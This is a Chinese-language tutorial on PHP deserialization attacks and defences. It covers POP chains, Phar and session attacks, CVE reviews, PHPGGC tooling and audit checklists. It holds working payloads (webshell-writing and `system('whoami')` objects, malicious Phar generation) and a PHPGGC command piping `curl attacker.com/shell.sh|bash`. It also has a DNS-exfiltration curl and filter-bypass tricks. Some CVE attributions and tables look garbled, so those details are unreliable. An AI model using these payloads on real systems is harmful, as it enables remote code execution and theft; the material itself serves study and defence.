目录
-
[PHP vs Java 反序列化对比](#PHP vs Java 反序列化对比)
-
[POP Chain(属性链)攻击](#POP Chain(属性链)攻击)
-
[Phar 反序列化攻击](#Phar 反序列化攻击)
-
[Session 反序列化漏洞](#Session 反序列化漏洞)
-
[经典 CVE 回顾](#经典 CVE 回顾)
1. 基础概念:序列化与反序列化
1.1 什么是序列化
序列化是将 PHP 对象转换为字符串(字节流)的过程,便于存储或网络传输。
php
<?php
class User {
public $name = "admin";
protected $role = "admin";
private $token = "secret123";
public function hello() {
echo "Hello, " . $this->name;
}
}
$user = new User();
$serialized = serialize($user);
echo $serialized;
// 输出:
// O:4:"User":3:{s:4:"name";s:5:"admin";s:6:"*role";s:5:"admin";s:13:"\0User\0token";s:9:"secret123";}
反序列化则相反:
php
$restored = unserialize($serialized);
$restored->hello(); // Hello, admin
1.2 PHP 中哪些数据会被序列化
| 函数 | 说明 |
|---|---|
serialize() |
任意 PHP 值(对象、数组、标量) |
var_export() |
可读的字符串表示(非真正序列化) |
var_dump() |
调试输出 |
json_encode() |
JSON 格式(更安全) |
session_encode() |
Session 数据序列化 |
1.3 常见的序列化数据存储场景
php
Cookie / Session → 反序列化恢复用户状态
缓存(Redis/Memcached)→ 存储序列化对象
序列化接口(API)→ 传输结构化数据
日志文件 → 存储历史对象快照
2. 序列化字符串格式深度解析
2.1 数据类型标记
php
a - array(数组)
b - boolean(布尔)
d - double(浮点数)
i - integer(整数)
N - NULL
O - object(对象)
R - pointer reference(指针引用)
r - relative reference(相对引用)
s - string(字符串,需要 url编码)
S - string(字符串,hex 格式)
C - custom object(自定义对象,罕见)
U - unicode string(Unicode 字符串)
2.2 三种属性修饰符的序列化差异
php
<?php
class Demo {
public $public_var = "public";
protected $protected_var = "protected";
private $private_var = "private";
}
$obj = new Demo();
echo serialize($obj);
输出解析:
O:4:"Demo":3:{
s:12:"public_var"; ← public,名称不变
s:11:"protected_var"; ← protected,会添加 \x00*\x00 前缀
s:13:"\0Demo\0private_var"; ← private,会添加 \0ClassName\0 前缀
}
2.3 URL 编码问题
PHP 序列化字符串中的 \x00(NULL 字节)必须 URL 编码才能在 HTTP 中传输:
php
<?php
// 浏览器直接发送会截断
// 原生字符串: O:4:"Demo":1:{s:13:"\0User\0token";s:9:"secret";}
// URL 编码后发送:
$encoded = urlencode('O:4:"Demo":1:{s:13:"\0User\0token";s:9:"secret";}');
// %4F%3A%34%3A%22%44%65%6D%6F%22%3A%31%3A%7B%73%3A%31%33%3A%22%00%55%73%65%72%00%74%6F%6B%65%6E%22%3B...
2.4 数组序列化
php
<?php
$arr = ["a", "b", "c"];
echo serialize($arr);
// a:3:{i:0;s:1:"a";i:1;s:1:"b";i:2;s:1:"c";}
$nested = ["user" => ["name" => "admin", "role" => "root"]];
echo serialize($nested);
// a:1:{s:4:"user";a:2:{s:4:"name";s:5:"admin";s:4:"role";s:4:"root";}}
3. 魔术方法:漏洞的核心入口
3.1 完整魔术方法列表
| 魔术方法 | 触发时机 |
|---|---|
__construct() |
对象创建时 |
__destruct() |
对象销毁时(引用计数归零、脚本结束) |
__toString() |
对象被当作字符串使用时(echo、字符串拼接) |
__invoke() |
对象被当作函数调用时 |
__call() |
调用不存在的方法时 |
__callStatic() |
静态调用不存在的方法时 |
__get() |
读取不可访问属性时 |
__set() |
写入不可访问属性时 |
__isset() |
对不可访问属性使用 isset() / empty() 时 |
__unset() |
对不可访问属性使用 unset() 时 |
__sleep() |
serialize() 执行前 |
__wakeup() |
unserialize() 执行后(立即) |
__set_state() |
var_export() 时 |
__debugInfo() |
var_dump() 时 |
__clone() |
对象被 clone 时 |
3.2 利用链中的关键魔术方法
反序列化攻击中最重要的三个魔术方法:
php
<?php
class Exploit {
// __destruct --- 对象销毁时自动触发,最常用
function __destruct() {
// $this->callback 被可控 → 命令执行
call_user_func($this->callback, $this->arg);
}
// __toString --- 对象被当作字符串时触发
function __toString() {
// $this->target 被可控 → 文件操作/SSRF
return file_get_contents($this->target);
}
// __wakeup --- 反序列化后立即执行(可被绕过,见 CVE-2016-7124)
function __wakeup() {
// 经常用来重置危险属性或清理数据
$this->dangerous = null;
}
}
3.3 PHP 7.x 中的 __destruct 自动调用链
php
<?php
// 反序列化后,对象在脚本结束时自动调用 __destruct()
// 这意味着:只要 unserialize() 执行,__destruct() 就一定会被触发
class FileWriter {
public $filename;
public $content;
function __destruct() {
// 文件写入类,反序列化后可写入任意文件
file_put_contents($this->filename, $this->content);
}
}
// 恶意 payload:
// O:11:"FileWriter":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:20:"<?php phpinfo();?>";}
// 攻击效果:生成 webshell
4. 漏洞原理剖析
4.1 漏洞产生的根源
漏洞 = unserialize() + 用户可控输入 + 可利用的魔术方法
PHP 反序列化漏洞的本质:unserialize() 在重建对象时,会自动触发一系列魔术方法。如果这些方法中存在危险操作(file_put_contents、eval、system 等),且攻击者能控制对象的属性值,就能 RCE。
4.2 漏洞利用模型
php
攻击者构造恶意序列化字符串
↓
传入 unserialize($user_input)
↓
PHP 解析并重建对象
↓
触发 __destruct() / __toString() 等魔术方法
↓
魔术方法中的危险操作被执行
↓
RCE / 写文件 / SSRF 等
4.3 最简漏洞示例
php
<?php
// vul.php
class Demo {
public $cmd;
function __destruct() {
eval($this->cmd); // 危险操作
}
}
unserialize($_GET['payload']);
构造 Payload:
<?php
class Demo {}
$obj = new Demo();
$obj->cmd = "system('whoami')";
echo serialize($obj);
// O:4:"Demo":1:{s:3:"cmd";s:17:"system('whoami')";}
在 URL 中发送:?payload=O:4:"Demo":1:{s:3:"cmd";s:17:"system('whoami')";}
5. 反序列化字符串结构操作技巧
5.1 修改属性值
直接修改序列化字符串中的属性值:
php
<?php
// 原序列化字符串
$original = 'O:4:"User":1:{s:8:"password";s:6:"123456";}';
// 攻击:把密码改成 admin
$modified = str_replace('s:6:"123456"', 's:5:"admin"', $original);
unserialize($modified);
5.2 引用(Reference)技巧
PHP 序列化支持引用:R 表示引用,r 表示相对引用。
php
<?php
class Ref {
public $a;
public $b;
function __construct() {
$this->a = new stdClass();
$this->b = null;
}
}
// a 和 b 指向同一个引用时:
// a:2:{i:0;O:8:"stdClass":0:{}i:1;r:2;}
// r:2 表示引用第 2 个元素
// 利用引用:让绕过检查的属性与危险属性指向同一个值
5.3 部分序列化字符串伪造
如果代码使用 strpos、preg_match 等对序列化字符串做检查,攻击者可以用不完整的序列化数据绕过:
php
<?php
// 绕过 strpos 检查(序列化字符串可被截断)
// PHP 在反序列化时只解析到第一个完整对象为止
$payload = 'O:4:"Test":0:{}' . "\r\n" . '<?php system($_GET["cmd"]);?>';
// strpos($payload, '<?php') 可能检查不严 → bypass
5.4 大写 S 字符串格式绕过
PHP 5.6+ 支持大写 S 格式,允许十六进制表示字符串内容:
php
<?php
// 普通:s:5:"admin";
// 绕过:S:5:"\61\64\6d\69\6e"; (十六进制表示 "admin")
// 可以绕过某些正则过滤
$payload = 'O:4:"User":1:{s:8:"username";S:5:"\61\64\6d\69\6e";}';
6. 常见绕过与利用手法
6.1 CVE-2016-7124 --- __wakeup 绕过
漏洞原理: 当序列化字符串中表示属性个数的数字 大于 真实属性个数时,__wakeup() 会被跳过,但 __destruct() 仍然执行。
影响版本: PHP 5 < 5.6.25,PHP 7 < 7.0.10
php
<?php
// 目标代码
class Flag {
public $file = "flag.php";
function __wakeup() {
// 重置为合法路径,防止读取 flag
$this->file = "index.php";
}
function __destruct() {
// 真正读取文件
echo file_get_contents($this->file);
}
}
unserialize($_GET['flag']);
正常序列化:
php
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
↑ 属性个数 = 1
绕过 Wakeup(属性数 2 > 实际 1):
O:4:"Flag":2:{s:4:"file";s:8:"flag.php";}
↑ 属性个数 = 2 → __wakeup() 被跳过
POC:
<?php
class Flag {
public $file;
}
$obj = new Flag();
$obj->file = "flag.php";
$payload = serialize($obj);
// 手动修改属性数:O:4:"Flag":1:{...} → O:4:"Flag":2:{...}
$malicious = str_replace(':1:{', ':2:{', $payload);
echo urlencode($malicious);
6.2 私有/保护属性长度计算绕过
php
<?php
class Test {
private $secret = "safe";
}
// serialize → O:4:"Test":1:{s:13:"\0Test\0secret";s:4:"safe";}
// ↑ \0 是 NULL 字符
// 攻击者直接发序列化字符串时要算准长度
// s:13(注意是 13 不是 7)
6.3 对象属性注入
php
<?php
class User {
private $is_admin = false;
function __destruct() {
if ($this->is_admin) {
echo "Welcome, admin!";
// system($this->cmd);
}
}
}
// 序列化时不包含 is_admin(默认值 false)
// 但攻击者可以手动添加:
// 在序列化字符串末尾追加属性
$orig = 'O:4:"User":0:{}';
$inject = 'O:4:"User":1:{s:13:"\0User\0is_admin";b:1;}';
unserialize($inject); // is_admin = true,绕过权限检查
6.4 绕过字符串长度检查
php
# 原字符串: s:4:"test"
# 修改后: s:5:"testX" (长度5,但实际只读4字节)
# PHP unserialize 只看长度声明
# 如果后端用 strlen() 检查,可用此绕过
6.5 绕过字符过滤
| 过滤 | 绕过方法 |
|---|---|
preg_match('/"/', $input) |
使用单引号或 S 格式 |
preg_match('/;/', $input) |
嵌套对象 O:...{...} |
preg_match('/O:\d/', $input) |
大写 O 或 array 包装 |
preg_match('/_/', $input) |
十六进制 \x5f |
7. PHP vs Java 反序列化对比
| 维度 | PHP 反序列化 | Java 反序列化 |
|---|---|---|
| 入口函数 | unserialize() |
ObjectInputStream.readObject() |
| 触发方式 | 魔术方法自动调用 | readObject() 自动调用 |
| 利用链 | POP Chain(属性链) | Gadget Chain(方法链) |
| 核心原理 | 控制对象属性值 | 控制方法调用链 |
| Native 类型 | 无(PHP 是脚本语言) | 存在(JNI 调用) |
| 序列化格式 | 文本化(可读) | 二进制化 |
| 常见利用链 | Laravel、WordPress、Magento | CommonsCollections、Spring |
| 防护机制 | allowed_classes 白名单 |
ObjectInputFilter 白名单 |
| 绕过技术 | wakeup绕过、S字符、引用 | JNDI注入、Gadget链串联 |
PHP POP Chain 核心原理
php
对象属性值可控
↓
POP chain:通过 __get / __set / __call 等方法
↓
触发危险函数(eval、system、file_put_contents 等)
8. POP Chain(属性链)攻击
8.1 POP Chain 原理
POP Chain(Property-Oriented Programming)与 Java 的 Gadget Chain 原理相同:通过控制对象的属性值,使一系列方法调用链最终指向危险函数。
php
对象A 属性$evil = "system('whoami')"
↓ __destruct() 调用 $this->adapter->render()
对象B 属性$adapter → 对象A
↓ __toString() 调用 $this->view->render($this)
对象C 属性$view → 对象B
↓ __invoke() 或 __call()
最终危险函数 → eval / system / file_put_contents
8.2 POP Chain 典型案例:Laravel <= 8.x
Laravel <= 8.x 中存在著名的 Ignition 组件反序列化 RCE(CVE-2021-3129):
php
<?php
// Laravel 的 debug 模式开启时,view() 模板渲染链
// 可以构造如下 POP Chain:
class IlluminateViewViewsStore {
protected $path = "/var/www/html/storage/framework/views/../../../";
// __destruct() → file_put_contents() → 任意文件写入
}
class IlluminateEncryptionLateBindingQueueConsumer {
// __destruct() → 触发更深层的调用链
}
// 最终写入 webshell
利用流程:
php
1. 开启 Laravel debug 模式(.env 中 APP_DEBUG=true)
2. 发送精心构造的 PHPGGC payload
3. Laravel 处理错误的响应时会序列化 Exception 对象
4. 触发 POP Chain,写入 webshell
8.3 手工构造 POP Chain 步骤
php
第一步:在目标源码中找到所有可用的类
第二步:识别每个类的属性(public/protected/private)
第三步:分析每个魔术方法中的危险函数调用
第四步:从 __destruct() / __toString() 开始逆向追溯
第五步:找到一条从入口到危险函数的属性引用链
第六步:用 PHP 脚本序列化生成 payload
php
<?php
// 示例:找 POP Chain
// 已知类 A 有 __destruct() 且调用 eval($this->callback)
class A {
public $callback;
public $arg;
function __destruct() {
call_user_func($this->callback, $this->arg);
}
}
// 已知类 B 的属性 $handler → 类 A
class B {
public $handler; // 指向 A 的实例
}
// 构造 POP Chain:
$a = new A();
$a->callback = "system";
$a->arg = "whoami";
$b = new B();
$b->handler = $a;
// 当 unserialize() 时,B 被反序列化
// B 的 __destruct() 调用 → $this->handler->... → 触发 A 的方法
// 最终 → system("whoami")
9. Phar 反序列化攻击
9.1 原理
PHP 通过
phar://协议可以解析 Phar(PHP Archive)文件。当访问phar://xxx.jpg时,PHP 会读取并解析 Phar 元数据,即使文件扩展名是.jpg,也会触发unserialize()。
利用条件: 1. 目标使用 file_get_contents() / fopen() 等文件系统函数 2. 攻击者能控制文件路径(包含 phar://) 3. 目标 PHP 版本存在 phar 反序列化漏洞
9.2 Phar 文件结构
┌────────────────────┐ │ Stub (入口代码) │ ← __HALT_COMPILER(); ?> ├────────────────────┤ │ Manifest (元数据) │ ← 被 unserialize() 解析 ← 攻击点 ├────────────────────┤ │ File Content │ └────────────────────┘
9.3 生成恶意 Phar 文件
php
<?php
// generate_phar.php
class Evil {
public $cmd;
function __destruct() {
eval($this->cmd);
}
}
$phar = new Phar("evil.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");
$evil = new Evil();
$evil->cmd = "system('whoami');";
$phar["evil.txt"] = "test"; // 添加任意文件
$phar->setMetadata($evil); // 写入恶意元数据
$phar->stopBuffering();
9.4 利用场景
php
<?php
// victim.php
class ImageProcessor {
public function process($filename) {
// 可控的文件路径
$content = file_get_contents($filename);
// ...
}
}
$processor = new ImageProcessor();
$processor->process($_GET['img']);
// 攻击:
// 1. 先上传合法的 evil.jpg(实际是恶意 phar)
// 2. 然后请求:?img=phar://upload/evil.jpg/shell
// → PHP 解析 phar 元数据 → 触发反序列化 → RCE
10. Session 反序列化漏洞
10.1 PHP Session 序列化机制
PHP 支持三种 Session 序列化处理器:
| 处理器 | 格式 | 说明 |
|---|---|---|
php_serialize |
serialize/unserialize | PHP 内置,处理 serialize() 格式 |
php |
php_serialize | 默认,使用 : 分隔 |
php_binary |
键名 + 序列化的值 | 二进制格式,键名有长度前缀 |
配置项: session.serialize_handler
10.2 漏洞成因
不同处理器的混用导致反序列化解析不一致:
php
<?php
// 站点A:使用 php_serialize
ini_set("session.serialize_handler", "php_serialize");
// 站点B:使用 php(默认)
ini_set("session.serialize_handler", "php");
// 如果反序列化时用不同处理器:
// "php_serialize" 写入 → Session 文件
// "php" 读取 → 解析不一致,可能产生意外对象
10.3 Session 反序列化利用
php
<?php
// 生成恶意 session 数据
class SessionExploit {
public $username = "admin";
public $is_admin = false;
function __destruct() {
if ($this->is_admin) {
system("whoami"); // RCE
}
}
}
$obj = new SessionExploit();
$obj->is_admin = true;
// 用 php_serialize 格式存储
echo serialize($obj);
// O:14:"SessionExploit":2:{s:8:"username";s:5:"admin";s:8:"is_admin";b:1;}
// 写入 session 文件后,当应用用 php 处理器读取时
// 可能触发意外反序列化行为
11. 经典 CVE 回顾
11.1 CVE-2016-7124 --- __wakeup 绕过
详见 6.1 节。
11.2 CVE-2017-12933 --- phpMyAdmin 反序列化
| 项目 | 说明 |
|---|---|
| 漏洞类型 | 反序列化 Session 数据 |
| 影响版本 | phpMyAdmin 4.7.0 ~ 4.7.6 |
| CVSS | 6.5 |
攻击路径:构造 Session 数据写入文件 → 通过 phar:// 触发。
11.3 CVE-2019-11043 --- PHP-FPM RCE(补充)
| 项目 | 说明 |
|---|---|
| 漏洞类型 | FPM _fastcgi 协议解析缺陷(非直接反序列化) |
| CVSS | 10.0 |
| 说明 | PATH_INFO 注入,配合 nginx 配置错误可 RCE |
11.4 CVE-2021-3129 --- Laravel <= 8.x Ignition RCE
| 项目 | 说明 |
|---|---|
| 漏洞类型 | Laravel debug 模式 POP Chain |
| 影响版本 | Laravel <= 8.4.2 |
| CVSS | 9.8 |
| 利用 | PHPGGC Laravel Gadget 1 |
# 利用步骤 # 1. 使用 PHPGGC 生成 payload phpggc Laravel RCE1 "whoami" > payload.txt # 2. 发送 payload 到 Laravel 的 _ignition/execute-solution 端点 curl -X POST "http://target/_ignition/execute-solution" \ -d "solutionClass=Illuminate\\Broadcasting\\PendingBroadcast¶meters=..." \ -H "Content-Type: application/x-www-form-urlencoded"
11.5 CVE-2022-29221 --- Laravel 9.x 反序列化
| 项目 | 说明 |
|---|---|
| 漏洞类型 | 新的 POP Chain |
| CVSS | 8.1 |
| 影响 | Laravel 9.x |
12. 近期高危漏洞(2024--2026)
12.1 WordPress Plugin 反序列化(持续高发)
WordPress 及主流插件历史上持续曝出反序列化漏洞:
| 插件 | 漏洞类型 | CVSS |
|---|---|---|
| WooCommerce | 反序列化 RCE | 高 |
| Contact Form 7 | 反序列化写入 | 高 |
| All In One SEO | POP Chain | 高 |
| Duplicator | Phar 反序列化 | 高 |
12.2 Magento / Adobe Commerce 反序列化
| CVE | 说明 |
|---|---|
| CVE-2022-24086 | Magento 2.x 授权前反序列化 |
| CVE-2023-29297 | Adobe Commerce 反序列化 RCE |
12.3 Typo3 CMS 反序列化
Typo3 历史版本存在多个反序列化入口,配合 POP Chain 可 RCE。
12.4 Symfony Framework 反序列化
Symfony 的 PropertyAccessor 机制在反序列化时可通过 __call 或反射触发危险操作。
12.5 phpMyAdmin 最新版本注意事项
phpMyAdmin 持续加强安全,但 5.x 版本仍需关注 Session 处理和文件上传路径。
13. 漏洞检测与利用工具
13.1 PHPGGC --- PHP Gadget Chain Generator
php
# 安装
git clone https://github.com/ambionics/phpggc.git
cd phpggc
# 列出所有 gadget chain
phpggc --list
# Laravel RCE Gadget
phpggc Laravel RCE1 "whoami"
# Laravel RCE2 (新版)
phpggc Laravel RCE2 "curl attacker.com/shell.sh|bash"
# Monolog (Doctrine POP Chain)
phpggc Monolog RCE1 "system('whoami')"
# SwiftMailer
phpggc SwiftMailer RCE1
# Symfony
phpggc Symfony RCE1
# 生成 URL-safe 编码的 payload
phpggc -u Laravel RCE1 "whoami"
# 生成文件(用于 Phar 攻击)
phpggc -p phar Laravel RCE1 > evil.phar
13.2 PHP 序列化字符串手工构造
php
<?php
// 方法1:用已知类序列化
class Cmd {
public $cmd = "whoami";
}
echo serialize(new Cmd());
// 方法2:手动拼接序列化字符串
$payload = 'O:6:"MyClass":1:{s:7:"command";s:6:"whoami";}';
// 方法3:burpsuiteintruder 批量测试
// 用 Python 生成批量 payload
import urllib.parse
payloads = []
for cmd in ["whoami", "id", "ls -la"]:
obj = f'O:4:"Test":1:{{s:3:"cmd";s:{len(cmd)}:"{cmd}";}}'
payloads.append(urllib.parse.quote(obj))
13.3 反序列化探测技巧
# 1. 检测目标是否可控 unserialize # 发送序列化数据,观察是否报错或行为变化 payload=O:4:"Test":0:{} # 2. 检测 PHPGGC 常用链是否存在 # Laravel → /_ignition/execute-solution # Symfony → 特定端点 # 3. DNS 探测 phpggc Monolog RCE1 "curl http://your.dnslog.cn/$(whoami)" # 4. 时间盲注 phpggc Laravel RCE1 "sleep 5"
13.4 常用检测脚本
php
#!/usr/bin/env python3
"""PHP反序列化漏洞快速检测"""
import requests, urllib.parse, sys
def test_unserialize(url, param_name="payload"):
test_cases = [
# 基础测试:序列化对象
'O:4:"Test":0:{}',
# wakeup bypass
'O:4:"Test":99:{}',
# Laravel PHPGGC
# (实际使用 phpggc -u 生成)
]
headers = {"Content-Type": "application/x-www-form-urlencoded"}
for payload in test_cases:
data = {param_name: payload}
try:
r = requests.post(url, data=data, headers=headers, timeout=5)
print(f"[?] Sent: {payload[:50]}...")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
test_unserialize(sys.argv[1])
14. 防护措施详解
14.1 最佳防护:避免用户输入反序列化
最根本的方案:永远不要将用户可控数据传入 unserialize() 替代方案: 1. 使用 JSON 序列化(json_encode / json_decode) 2. 使用 MessagePack / Protocol Buffers 3. 使用 HMAC 签名保护序列化数据
php
<?php
// ✅ 安全方案1:JSON 替代
$user_json = json_encode($user);
$user = json_decode($user_json, true);
// ✅ 安全方案2:HMAC 签名
$key = "your-secret-key";
$payload = serialize($user);
$signature = hash_hmac('sha256', $payload, $key);
$transmit = base64_encode($payload . '|' . $signature);
// 反序列化时:
$parts = explode('|', base64_decode($transmit));
if (!hash_equals($signature, hash_hmac('sha256', $parts[0], $key))) {
die("Invalid signature");
}
$user = unserialize($parts[0]);
14.2 allowed_classes 白名单(PHP 7+)
php
<?php
// PHP 7.0+ 支持 allowed_classes 参数
// 只允许反序列化指定的类,其他类被忽略
$allowed = ['User', 'Post', 'Comment'];
$obj = unserialize($_GET['data'], ['allowed_classes' => $allowed]);
// 如果序列化数据包含其他类:
// unserialize() 会返回 PHP incomplete_class(__PHP_Incomplete_Class)
// 而不是抛出错误
<?php
// 更严格的写法:禁止所有未知类
$result = unserialize($_GET['data'], ['allowed_classes' => false]);
// 等价于:只允许标量类型和数组,不允许对象
// 这是一个"全拒绝"策略
14.3 类名过滤 + 正则校验
php
<?php
function safe_unserialize($data) {
// 1. 基本格式校验
if (!preg_match('/^[a-zA-Z0-9=O:"|;,{} _\-\\x00-\\x1f]*$/', $data)) {
throw new Exception("Invalid format");
}
// 2. 禁止嵌套序列化(防止混淆)
$depth = 0;
for ($i = 0; $i < strlen($data); $i++) {
if ($data[$i] === 'O' && isset($data[$i+1]) && $data[$i+1] === ':') {
$depth++;
if ($depth > 1) {
throw new Exception("Nested object not allowed");
}
}
}
// 3. 白名单类名(基础版)
if (preg_match('/(eval|system|exec|passthru|shell_exec|popen|proc_open)/i', $data)) {
throw new Exception("Dangerous pattern");
}
// 4. 使用 allowed_classes
return unserialize($data, ['allowed_classes' => ['User', 'Product']]);
}
14.4 WAF / 网关层拦截
php
# Nginx WAF:拦截包含 PHP 序列化特征的请求
if ($request_body ~* "O:\d+:") {
return 403;
}
# 拦截 phar:// 协议(根据业务场景)
if ($arg_filename ~* "phar://") {
return 403;
}
14.5 RASP 运行时防护
PHP RASP(Runtime Application Self-Protection)可在 PHP 层面 Hook unserialize() 函数:
php
<?php
// rasp.php --- 使用 PHP 的 auto_prepend_file 注入
// 需要在 php.ini 中配置:auto_prepend_file=/path/to/rasp.php
class RASPProtection {
private static $dangerous_classes = [
'system', 'exec', 'passthru', 'shell_exec',
'eval', 'assert', 'create_function',
'file_put_contents', 'fwrite', 'unlink'
];
private static $allowed_class_patterns = [
'^App\\\\Models\\\\User$',
'^App\\\\DTO\\\\.*$'
];
public static function check($data, $options) {
// 只允许白名单中的类
$allowed = $options['allowed_classes'] ?? false;
if ($allowed === false) {
return; // 全允许(不安全)
}
// 反序列化后的类型检查
$obj = @unserialize($data, $options);
if (!is_object($obj)) {
return;
}
$class = get_class($obj);
foreach (self::$dangerous_classes as $dangerous) {
if (stripos($class, $dangerous) !== false) {
error_log("Blocked dangerous class: $class");
throw new Exception("Disallowed class");
}
}
}
}
14.6 Composer 依赖安全审计
# 使用 LocalPHP SECURITY 检查依赖 composer audit # 使用 Psalm / PHPStan 静态分析 ./vendor/bin/psalm --taint-analysis ./vendor/bin/phpstan analyse # 检查已知漏洞 # https://github.com/FriendsOfPHP/security-advisories
14.7 防护措施对照表
| 措施 | 防御强度 | 实施难度 | 推荐度 |
|---|---|---|---|
| JSON 替代反序列化 | 极强 | 低 | 极推荐 |
| allowed_classes 白名单 | 极强 | 低 | 极推荐 |
| HMAC 签名验证 | 强 | 中 | 推荐 |
| WAF 网关拦截 | 中 | 低 | 可用 |
| PHP RASP Hook | 强 | 高 | 推荐 |
| 定期 Composer 审计 | 强 | 低 | 推荐 |
| 关闭 debug 模式 | 强 | 低 | 极推荐 |
| 禁止 phar:// 上传 | 中 | 低 | 视情况 |
15. 代码审计实战
15.1 审计要点清单
① 全局搜索 unserialize(),确认输入来源 ② 定位所有可用的类定义(vendor 目录也要扫) ③ 分析每个类的魔术方法 ④ 寻找危险函数(eval、system、file_put_contents 等) ⑤ 逆向追溯属性引用,构建 POP Chain ⑥ 检查 session.serialize_handler 配置 ⑦ 检查 allowed_classes 是否正确配置 ⑧ 测试 Phar 反序列化入口
15.2 危险代码模式
php
// ❌ 危险模式 1:unserialize 完全可控
// ❌ 危险模式 1:unserialize 完全可控
unserialize($_COOKIE['data']);
// ❌ 危险模式 2:反序列化后对象属性可控
unserialize($data);
echo $obj->filename; // 如果 $data 可控,则 $obj->filename 可控
// ❌ 危险模式 3:白名单配置为空(全部允许)
unserialize($data, ['allowed_classes' => true]);
// ❌ 危险模式 4:危险类存在
class Shell {
function __destruct() {
eval($this->code); // 直接 eval
}
}
// ✅ 安全模式:严格 allowed_classes
unserialize($data, [
'allowed_classes' => ['User', 'Article', 'Comment']
]);
// ✅ 安全模式:禁止所有对象
unserialize($data, ['allowed_classes' => false]);
15.3 Laravel 代码审计示例
php
<?php
// Laravel 审计重点文件:
// app/Http/Controllers/*.php
// app/Models/*.php
// routes/web.php
// config/session.php
// 审计步骤:
// 1. grep -r "unserialize" app/
// 2. 检查 config/session.php 的 serialize_handler
// 3. 检查 .env 中 APP_DEBUG 是否为 true(开启则可能可 RCE)
// 4. 使用 PHPGGC 测试
// app/Models/User.php 审计
class User {
// 检查 __destruct / __toString / __wakeup
// 检查是否有 eval / system / file_put_contents
}
// routes/web.php 审计
Route::post('/import', function(Request $req) {
// 是否有 session()->put() / unserialize()
// session 数据的来源是否可信?
});
15.4 WordPress 插件审计
php
<?php
// WordPress 审计重点:
// 1. 搜索 unserialize() 调用
grep -rn "unserialize" wp-content/plugins/*/
// 2. 重点关注以下钩子入口:
// add_action('init', ...) --- 请求处理
// add_filter('the_content', ...) --- 内容处理
// wp_ajax_* --- AJAX 端点
// wp_ajax_nopriv_* --- 未登录 AJAX
// 3. 检查 $_COOKIE, $_GET, $_POST 是否直接传入 unserialize
if (isset($_GET['data'])) {
$obj = unserialize(base64_decode($_GET['data'])); // ❌
}
// 4. WordPress 反序列化触发点
// wp-includes/pluggable.php 中的某些函数
// wp-config.php 中的某些常量
15.5 Phar 反序列化审计
php
<?php
// 搜索 Phar 利用入口:
grep -rn "file_get_contents\|fopen\|include\|require" --include="*.php" . | \
grep -E '\$_(GET|POST|COOKIE|REQUEST)'
// 常见 Phar 触发点:
file_get_contents($_GET['file']); // ✅ phar:// 可触发
include($_GET['file']); // ✅ phar:// 可触发
fopen($_GET['filename'], 'r'); // ✅ phar:// 可触发
copy($_FILES['upload']['tmp_name'], ...); // 上传文件后访问
16. 学习路线与资源
16.1 学习路线
第一阶段:基础(1-2周) → PHP 序列化/反序列化机制(serialize/unserialize) → 魔术方法全家桶(__destruct, __toString, __wakeup 等) → 序列化字符串格式解析 → 简单漏洞构造:修改属性值、绕过 wakeup 第二阶段:利用链(2-3周) → POP Chain 原理与构造方法 → Laravel / Symfony / WordPress 源码审计 → Phar 反序列化攻击 → Session 反序列化 → PHPGGC 使用与 gadget 链分析 第三阶段:框架审计(持续) → Laravel POP Chain(CVE-2021-3129 等) → Symfony POP Chain → WordPress / WooCommerce / Magento 审计 → phpMyAdmin 反序列化 第四阶段:防御(同步) → allowed_classes 白名单实践 → HMAC 签名序列化 → Composer 依赖安全审计 → PHP RASP 实现原理
16.2 靶场
| 靶场 | 说明 |
|---|---|
| DVWA | 包含反序列化 Lab |
| WebGoat | OWASP 官方靶场 |
| PentesterLab | PHP 反序列化专题 |
| CTFHub | PHP 反序列化 CTF 题 |
| Vulhub | Docker 靶场(Laravel、WordPress 等) |
16.3 PHPGGC 支持的 Gadget Chain
# 查看 PHPGGC 支持的所有链 phpggc --list # 输出: # Laravel # - RCE1 (call_user_func + __destruct) # - RCE2 (assert + file_put_contents) # - RCE3 # - Laravel_UAC # Monolog # - RCE1 (eval chain) # - RCE2 # Doctrine # - RCE1 # SwiftMailer # - RCE1 # Symfony # - RCE1 # - FFI/POC # Guzzle # - RCE1 # - FFI # Slim # Dwoo # ...
16.4 工具集
| 工具 | 用途 |
|---|---|
| PHPGGC | 生成 PHP POP Chain Payload |
| PHPGGU | PHPGGC 辅助工具 |
| php-serializable-check | 检测类是否可序列化 |
| Psalm | 静态分析 + Taint Tracking |
| PHPStan | 静态分析 |
| Burp Suite + Logger++ | 检测反序列化请求 |
16.5 PHP 与 Java 反序列化对比总结
共同点: - 都利用"反序列化时自动调用特定方法"的机制 - 都通过构造属性引用链(Gadget/POP Chain)达到 RCE - 都可利用"有害类"的魔术方法作为 Sink 点 区别: - PHP:反序列化字符串是文本格式,可手工修改 Java:二进制格式,需要工具生成 - PHP:天然支持引用(R/r),容易构造复杂引用链 Java:通过反射实现,构造难度更高 - PHP:POP Chain 依赖源码中的类定义 Java:Gadget 链依赖依赖库中的类 - PHP:Phar 反序列化是独特的攻击面 Java:无对应机制 - PHP:allowed_classes 是内置防护 Java:ObjectInputFilter 是官方方案 两者都面临同一个核心问题: "当不可信数据被反序列化时,任何可被利用的类都可能成为跳板"
文档版本: 1.0 更新时间: 2026-04-06 涵盖 PHP 反序列化原理、利用、绕过、防御完整体系